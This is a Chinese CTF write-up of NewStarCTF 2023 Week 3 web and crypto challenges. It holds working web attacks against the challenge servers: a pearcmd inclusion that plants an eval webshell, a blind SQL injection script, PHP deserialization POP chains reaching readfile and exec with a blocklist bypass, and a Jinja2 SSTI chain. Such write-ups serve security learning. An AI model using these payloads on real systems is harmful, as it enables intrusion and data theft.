NewStar2023 Week3
S3a Lv3

week3

web

Include 🍐

题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
 <?php
error_reporting(0);
if(isset($_GET['file'])) {
$file = $_GET['file'];

if(preg_match('/flag|log|session|filter|input|data/i', $file)) {
die('hacker!');
}

include($file.".php");
# Something in phpinfo.php!
}
else {
highlight_file(__FILE__);
}
?>

根据提示打开phpinfo.php => ?file=phpinfo, 搜索flag

image

根据提示搜索register_argc_argv, 发现为On

image

结合题目提示🍐,应该是利用pearcmd文件包含

构造payload

?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=@eval($_POST[0]);?>+/tmp/cmd.php

image

进行POST查看flag

1
2
3
?file=/tmp/cmd
#POST
0 = system("cat /flag");

image

参考文章:https://blog.csdn.net/RABCDXB/article/details/122050370

medium_sql

测试判断是否存在布尔盲注 # 要编码为%23

1
2
?id=TMP0919'And if(1>0,1,0)%23
?id=TMP0919'And if(0>1,1,0)%23

前者可以返回正常的信息id: TMP0919,后者会返回id not exists

注意用大小写绕过被过滤的字符

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
import time
import requests


def db_length(str, url):
print("[-] 测试数据库长度.......")
num = 1
while True:
payload = url + f"'%20And%20lengTh(daTabase())={num}%23"
# print(payload)
r = requests.get(url=payload)
time.sleep(0.1)
# print(r.text)
if str in r.text:
db_length = num
print(f"[+] 数据库长度:{db_length}")
db_name(db_length)
break
else:
num += 1


def db_name(db_length):
print("[-] 测试数据库名.......")
strascii = "qwertyuioplkjhgfdsazxcvbnm1234567890"
tmp = ""
for i in range(1, db_length + 1):
for j in strascii:
payload = url + f"'%20And%20Substr(dAtabase(),{i},1)='{j}'%23"
# print(payload)
time.sleep(0.1)
r = requests.get(url=payload)
if str in r.text:
tmp += j
print(tmp)
print(f"[+] 数据库名:{tmp}")
table_name()


def table_name():
print("[-] 测试数据库 表名.......")
strascii = "abcdefghijklmnopqrstuvwxyz1234567890_, "
tmp = ""
for i in range(25): # 假定表的长度为25
for j in strascii:
payload = url + f"'%20And%20Substr((Select%20Group_Concat(table_name)%20fRom%20infoRmation_schema.tables%20wHere%20tAble_schema=dAtabase()),{i},1)='{j}'%23"
time.sleep(0.1)
r = requests.get(url=payload)
if str in r.text:
tmp += j
# print(tmp)
print(f"[+] 数据库 表名:{tmp}")
table_columns()


def table_columns(): # 此函数是在测试处数据库表名后才写出,因而知道表名“grades,here_is_flag”
print("[-] 测试数据库表中列名信息.......")
strascii = "abcdefghijklmnopqrstuvwxyz1234567890_, "
tmp = ""
for i in range(10): # 假定列名长度为10
for j in strascii:
payload = url + f"'%20And%20Substr((Select%20Group_Concat(column_name)%20fRom%20infoRmation_schema.columns%20wHere%20tAble_name='here_is_flag'),{i},1)='{j}'%23"
time.sleep(0.1)
r = requests.get(url=payload)
if str in r.text:
tmp += j
print(tmp)
print(f"[+] 数据库表中列名信息:{tmp}")
information_flag()


def information_flag():
print("[-] 测试数据库表中数据.......")
strascii = "abcdefghijklmnopqrstuvwxyz1234567890_, {}"
tmp = ""
for i in range(50):
for j in strascii:
payload = url + f"'%20And%20Substr((Select%20flag%20fRom%20here_is_flag),{i},1)='{j}'%23"
time.sleep(0.1)
r = requests.get(url=payload)
if str in r.text:
tmp += j
# print(tmp)
print(f"[+] 数据库表中数据:{tmp}")


if __name__ == '__main__':
url = 'http://efffc673-9bf2-42fc-ac02-9a443cbe5a85.node4.buuoj.cn:81/?id=TMP0919'
str = 'Physics'
db_length(str, url)

注意:上述脚本没有使用算法,直接遍历获得相关信息,因而运行时间较长,各位可以根据需求修改代码

image

POP Gadget

题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
 <?php
highlight_file(__FILE__);

class Begin{
public $name;

public function __destruct()
{
if(preg_match("/[a-zA-Z0-9]/",$this->name)){
echo "Hello";
}else{
echo "Welcome to NewStarCTF 2023!";
}
}
}

class Then{
private $func;

public function __toString()
{
($this->func)();
return "Good Job!";
}

}

class Handle{
protected $obj;

public function __call($func, $vars)
{
$this->obj->end();
}

}

class Super{
protected $obj;
public function __invoke()
{
$this->obj->getStr();
}

public function end()
{
die("==GAME OVER==");
}
}

class CTF{
public $handle;

public function end()
{
unset($this->handle->log);
}

}

class WhiteGod{
public $func;
public $var;

public function __unset($var)
{
($this->func)($this->var);
}
}

@unserialize($_POST['pop']);

//目的是触发readfile(“/flag”)函数

//需要触发WihteGod->__unset()方法 就必须通过unset(WihteGod())

//需要unset(WihteGod()) 就必须通过CTF->end()

//需要CTF->end() 就必须通过Handle->__call()

//需要Handle->__call() 就必须通过Handle->不存在的函数 也就是Handle->getStr() —call是魔术方法的一个,当程序调用到当前类中未声明或没权限调用的方法时,就会调用—call方法

//需要Handle->getStr() 就必须通过Super->__invoke()

//需要Super->__invoke() 就必须通过(Super)()被当做函数调用—invoke():当尝试以调用函数的方式调用一个对象时,—invoke() 方法会被自动调用。

//需要(Super)() 就必须通过Then->__toString()

//需要Then->__toString() 就必须Then被当做字符串

//需要Then被当做字符串 就必须通过Begin->__destruct()

由题目得知,我们最终是要想办法触发WhiteGod->__unset()方法,这样就能够通过构造**WhiteGod(func,cmd)**类,传入需要执行的函数和命令(例如system("ls"))。

要触发WhiteGod->__unset()方法,就必须有一个unset(WhiteGod->不存在),也就是**CTF(WhiteGod(func,cmd))**,并且要想办法触发CTF->end()

要触发CTF->end()方法,就只能通过Handle(CTF),也就是**Handle(CTF(WhiteGod(func,cmd)))**。并且要想办法触发Handle->__call()

要触发Handle->__call()方法,就需要出现Handle->不存在,即Handle->不存在getStr(),也就是**Super(Handle(CTF(WhiteGod(func,cmd))))**,并且要想办法触发Super->__invoke()

要触发Super->__invoke()方法,就需要出现(Super)();即Super被当做函数名调用,也就是**Then(Super(Handle(CTF(WhiteGod(func,cmd)))))**,并且要想办法触发Then->__toString()方法

要触发Then->__toString()方法,就需要Then被当做字符串处理,即Begin()->__destruct()中的正则。也就是Begin(Then(Super(Handle(CTF(WhiteGod(func,cmd)))))

这样,完整的POP链就构造出来了


编写Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
<?php

use Begin as GlobalBegin;
use Then as GlobalThen;

class Begin{
public $name;

public function __construct($a)
{
$this->name = $a;
}

}

class Then{
private $func;

public function __construct($a)
{
$this->func = $a;
}

}

class Handle{
protected $obj;

public function __construct($a)
{
$this->obj = $a;
}

}

class Super{
protected $obj;
public function __construct($a)
{
$this->obj = $a;
}

}

class CTF{
public $handle;

public function __construct($a)
{
$this->handle = $a;
}

}

class WhiteGod{
public $func;
public $var;

public function __construct($a, $b)
{
$this->func = $a;
$this->var = $b;
}
}

$obj = new Begin(new Then(new Super(new Handle(new CTF(new WhiteGod("readfile","/flag"))))) );
echo urlencode(serialize($obj));

?>

image

R!!!C!!!E!!!

题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
 <?php
highlight_file(__FILE__);
class minipop{
public $code;
public $qwejaskdjnlka;
public function __toString()
{
if(!preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|tee|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $this->code)){
exec($this->code);
}
return "alright";
}
public function __destruct()
{
echo $this->qwejaskdjnlka;
}
}
if(isset($_POST['payload'])){
//wanna try?
unserialize($_POST['payload']);
}

观察源码,典型的php序列化,观察题目,这又是一道rce的题目,应该可以通过tee命令->把执行的命令写入文件,我们可以访问这个文件来看到回显内容

1
2
3
4
5
6
7
8
9
10
11
<?php
class minipop{
public $code="ls / | t''ee a";
public $qwejaskdjnlka;
}
$a = new minipop();
$b = new minipop();
$b->qwejaskdjnlka = $a;
echo urlencode(serialize($b));

?>

O%3A7%3A%22minipop%22%3A2%3A%7Bs%3A4%3A%22code%22%3Bs%3A14%3A%22ls+%2F+%7C+t%27%27ee+a%22%3Bs%3A13%3A%22qwejaskdjnlka%22%3BO%3A7%3A%22minipop%22%3A2%3A%7Bs%3A4%3A%22code%22%3Bs%3A14%3A%22ls+%2F+%7C+t%27%27ee+a%22%3Bs%3A13%3A%22qwejaskdjnlka%22%3BN%3B%7D%7D注意将+ 换成%20

接着访问url/a

image

发现flag的藏身之地

1
2
3
4
5
6
7
8
9
10
11
<?php
class minipop{
public $code="cat /flag_is_h3eeere | t''ee b";
public $qwejaskdjnlka;
}
$a = new minipop();
$b = new minipop();
$b->qwejaskdjnlka = $a;
echo urlencode(serialize($b));

?>

访问url/b 出现flag

image

GenShin

抓包发现:/secr3tofpop

image

打开发现 需要通过get给name传参

image

发现给name传什么,页面就回显什么,首先尝试了php伪协议读取文件,测试失败,在查询资料后发现与UNCTF2020的easyflask题目很相似,猜测是模版注入,首先尝试{{%print(7*7)%}}

发现应该是 {{被过滤,于是我们尝试{%print(7*7)%}->{%%}里面可以执行python命令

image

出现了计算的结果,于是打开config配置->**{%print(config)%}** 没有发现有用信息

image

接着猜测是jinja2模板注入,所以是__ class __ 找父类,然后 __ base __ 继续梭,然后__ subclasses __拿到所有类

image

接着写脚本找出能用的os类,在此基础上进行RCE:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests
import re
import time
for i in range(0,600):
url = "http://ea05b4b0-6969-4766-a5cd-d6766af72b08.node4.buuoj.cn:81/secr3tofpop"
payload = '{% print([].__class__.__base__.__subclasses__()[' + str(i) + ']) %}' #注意引号
# print(payload)
get_data = {"name": payload}
s = requests.get(url=url,params=get_data)
time.sleep(0.1)
if 'os' in s.text:
print(i)
print(s.text)

接着用init方法

1
2
3
 __init__:所有自带类都包含init方法。是服务下面这个函数的
__globals__:
function.__globals__,用于获取function所处空间下可使用的module、方法以及所有变量。

发现被过滤,但是可以字符串拼接

1
2
3
4
{%print([].__class__.__base__.__subclasses__()[95]["__in"+"it__"].__globals__["os"].listdir("."))%}		# 不能成功显示
{%print([].__class__.__base__.__subclasses__()[96]["__in"+"it__"].__globals__["os"].listdir("."))%} # 不能成功显示
{%print([].__class__.__base__.__subclasses__()[132]["__in"+"it__"].__globals__["os"].listdir("."))%} # 不能成功显示
{%print([].__class__.__base__.__subclasses__()[309]["__in"+"it__"].__globals__["os"].listdir("."))%} # 能成功显示

image

利用 _ _ builtins _ _ 读文件

image

模版注入相关知识点可以参考这篇文章 写的很不错: https://blog.csdn.net/LYJ20010728/article/details/120205725?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522165811033516781647533366%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fall.%2522%257D&request_id=165811033516781647533366&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~first_rank_ecpm_v1~rank_v31_ecpm-4-120205725-null-null.142%5Ev32%5Enew_blog_pos_by_title,185%5Ev2%5Econtrol&utm_term=SSTI%20%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5&spm=1018.2226.3001.4187

crypto

Rabin’s RSA

题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from Crypto.Util.number import *
from secret import flag
p = getPrime(64)
q = getPrime(64)
assert p % 4 == 3
assert q % 4 == 3

n = p * q

e = 2
m = bytes_to_long(flag)

c = pow(m,e,n)

print('n =', n)
print('c =', c)

# n = 201354090531918389422241515534761536573
# c = 20442989381348880630046435751193745753

根据提示,需要用到RSA-rabin算法

首先进行大素数分解

image

python脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import gmpy2
import libnum

p = 13934102561950901579
q = 14450452739004884887
n = 201354090531918389422241515534761536573
c = 20442989381348880630046435751193745753
e = 2

inv_p = gmpy2.invert(p, q)
inv_q = gmpy2.invert(q, p)
mp = pow(c, (p + 1) // 4, p)
mq = pow(c, (q + 1) // 4, q)
a = (inv_p * p * mq + inv_q * q * mp) % n
b = n - int(a)
c = (inv_p * p * mq - inv_q * q * mp) % n
d = n - int(c)
# 因为rabin 加密有四种结果,全部列出。
aa = [a, b, c, d]
for i in aa:
print(i)
print(libnum.n2s(int(i)))

小明的密码题

题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from Crypto.Util.number import *
from secret import *
flag_part = flag_content + '#' + secret_token
p = getPrime(512)
q = getPrime(512)

m = bytes_to_long(flag_part.encode())

e = 5
n = p*q

c = pow(m,e,n)

print('n =', n)
print('c =', c)
print('flag_part =', flag_part)
print()
print('--- hint begin ---')
print('flag = "flag{" + flag_part + "}"')
print('type of secret_token is', type(secret_token))
print('length of secret_token is', len(secret_token))

# n = 131889193322687215946601811511407251196213571687093913054335139712633125177496800529685285401802802683116451016274353008428347997732857844896393358010946452397522017632024075459908859131965234835870443110233375074265933004741459359128684375786221535003839961829770182916778717973782408036072622166388614214899
# c = 11188201757361363141578235564807411583085091933389381887827791551369738717117549969067660372214366275040055647621817803877495473068767571465521881010707873686036336475554105314475193676388608812872218943728455841652208711802376453034141883236142677345880594246879967378770573385522326039206400578260353074379
# flag_part = sm4ll_r00ts_is_brilliant#◼️◼️◼️◼️◼️◼️◼️◼️
#
# --- hint begin ---
# flag = "flag{" + flag_part + "}"
# type of secret_token is <class 'str'>
# length of secret_token is 8

根据题目提示,可以看出是rsa的m高位泄露攻击:

将first_part 字节转换成十进制

1
2
3
4
from Crypto.Util.number import *
high_m=b'sm4ll_r00ts_is_brilliant#00000000'
print(bytes_to_long(high_m))
# high_m = 13365484987144638321487231038779529936591301518920854766433948366068803286609968

利用sagemathhttps://sagecell.sagemath.org/

编写sage一把梭

1
2
3
4
5
6
7
8
9
10
n = 131889193322687215946601811511407251196213571687093913054335139712633125177496800529685285401802802683116451016274353008428347997732857844896393358010946452397522017632024075459908859131965234835870443110233375074265933004741459359128684375786221535003839961829770182916778717973782408036072622166388614214899
c = 11188201757361363141578235564807411583085091933389381887827791551369738717117549969067660372214366275040055647621817803877495473068767571465521881010707873686036336475554105314475193676388608812872218943728455841652208711802376453034141883236142677345880594246879967378770573385522326039206400578260353074379
high_m= 13365484987144638321487231038779529936591301518920854766433944893740507058929664

R.<x> = PolynomialRing(Zmod(n), implementation='NTL')
m = high_m + x
M = m((m^5 - c).small_roots()[0])
print(M)

# M = 13365484987144638321487231038779529936591301518920854766433952055361547196905266

解密M:将十进制转换成字节

1
2
3
4
5
from Crypto.Util.number import *

M = 13365484987144638321487231038779529936591301518920854766433952055361547196905266
print(long_to_bytes(M).decode('utf-8', errors='ignore'))
# sm4ll_r00ts_is_brilliant#cc0dac72

easy_crt

题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from Crypto.Util.number import *
from secret import flag, p, q
from hashlib import *
import random

assert 'flag{' + md5(str(p).encode()).hexdigest() + '}' == flag
assert isPrime(p), isPrime(q)
assert p.bit_length() == 1024, q.bit_length() == 1024

m = random.getrandbits(400)
e = 65537
d = inverse(e, (p - 1) * (q - 1))
r1, r2, r3 = getPrime(20), getPrime(20), getPrime(10)

dp, dq = d % (p - 1), d % (q - 1)
Sp, Sq = pow(m + getPrime(10), dp, r1 * p), pow(m, dq, r2 * q)
s1, s2 = pow(m, dp % (r1 - 1), r1), pow(m, dq % (r2 - 1), r2)
S_ = Sq + (q * r2) * (int(inverse(q * r2, p * r1)) * (Sp - Sq) % (p * r1))
c1, c2 = (S_ - s1 + 1) % r1, (S_ - s2 + 1) % r2
gamma = (r3 * c1 + (2 ** 10 - r3) * c2) // (2 ** 10)
S = pow(S_, gamma, p * q)

print(m)
print(p * q)
print(S_)
print(S)

'''
m=2180240512138982889935733758776025289492848542072999905411903898302427496814336475436552230920326681809745778470583226987
n=25505131259827344749407187081729819350996141100990518281765117676936124636084125400315049858697199427401342785804654120926568235761577895862889807660442415521870277729420875825744007886870384790308986342360349597392841568418588521694478184632631896474390291958350681472768485356865513284619086754437723630874827593280089682939629265210875169009057935264259019861755270570945614034505771690412042781423771110441028258110022746603974882162934979726300741541857444013708508946471384525030286343828680432038605288717842755346907256658746733811881247992925881684393431852248253701825024590345480994598867741811599162649467
S_=5510086561842250138908875342533294108331951659612671466695801343686972919443402163401521040457640602756777910081639191753436122171756174730531385913865951826869995984787102439679170684422717808771260217541439878677750508065703064081375473845405916674327932798153100574555933448570618732842365795738120491532398081467312017203933413296779070611024124965772787502242499016884537233028947865288037718074352448773759363242111080540630360902388540661831992776707600133253329779003707938065020121645530719140954554800986771763343191398210100325971573069812381693089384221441735278736889673500218274673196333806222266248844379127652366
S=11422623501509574650959962952004985925543723972567988534433510888436662069119800576321679344425052011563473005275801787271861671898318523033415642388512047035650991047953319601346912194462122313366888126100093635969476696871403883687946617575837061694813669883782221006701704487938500886952347003631626326127154081787016692856628561200386941683756397734100698520464199249811238013146899352390453500132666840606585760306723894654933077094375810666168464835756607377998959675132305971721109661644231613426322675350973373434138686086023265910883509514575554429502214217460059521619625693750938117427832654792355808803321
'''

参考文献:https://www.infocomm-journal.com/cjnis/article/2019/2096-109x/2096-109x-5-1-00030.shtml

image

编写exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from Crypto.Util.number import *
from hashlib import *

m = 2180240512138982889935733758776025289492848542072999905411903898302427496814336475436552230920326681809745778470583226987
n = 25505131259827344749407187081729819350996141100990518281765117676936124636084125400315049858697199427401342785804654120926568235761577895862889807660442415521870277729420875825744007886870384790308986342360349597392841568418588521694478184632631896474390291958350681472768485356865513284619086754437723630874827593280089682939629265210875169009057935264259019861755270570945614034505771690412042781423771110441028258110022746603974882162934979726300741541857444013708508946471384525030286343828680432038605288717842755346907256658746733811881247992925881684393431852248253701825024590345480994598867741811599162649467
S_ = 5510086561842250138908875342533294108331951659612671466695801343686972919443402163401521040457640602756777910081639191753436122171756174730531385913865951826869995984787102439679170684422717808771260217541439878677750508065703064081375473845405916674327932798153100574555933448570618732842365795738120491532398081467312017203933413296779070611024124965772787502242499016884537233028947865288037718074352448773759363242111080540630360902388540661831992776707600133253329779003707938065020121645530719140954554800986771763343191398210100325971573069812381693089384221441735278736889673500218274673196333806222266248844379127652366
S = 11422623501509574650959962952004985925543723972567988534433510888436662069119800576321679344425052011563473005275801787271861671898318523033415642388512047035650991047953319601346912194462122313366888126100093635969476696871403883687946617575837061694813669883782221006701704487938500886952347003631626326127154081787016692856628561200386941683756397734100698520464199249811238013146899352390453500132666840606585760306723894654933077094375810666168464835756607377998959675132305971721109661644231613426322675350973373434138686086023265910883509514575554429502214217460059521619625693750938117427832654792355808803321

e = 65537
p = GCD(pow(S_, e, n) - pow(m, 1, n), n)
q = n // p

print('flag{' + md5(str(p).encode()).hexdigest() + '}')
print('flag{' + md5(str(q).encode()).hexdigest() + '}')

官方WriteUp:https://shimo.im/docs/QPMRxzGktzsZnzhz

 Comments
Comment plugin failed to load
Loading comment plugin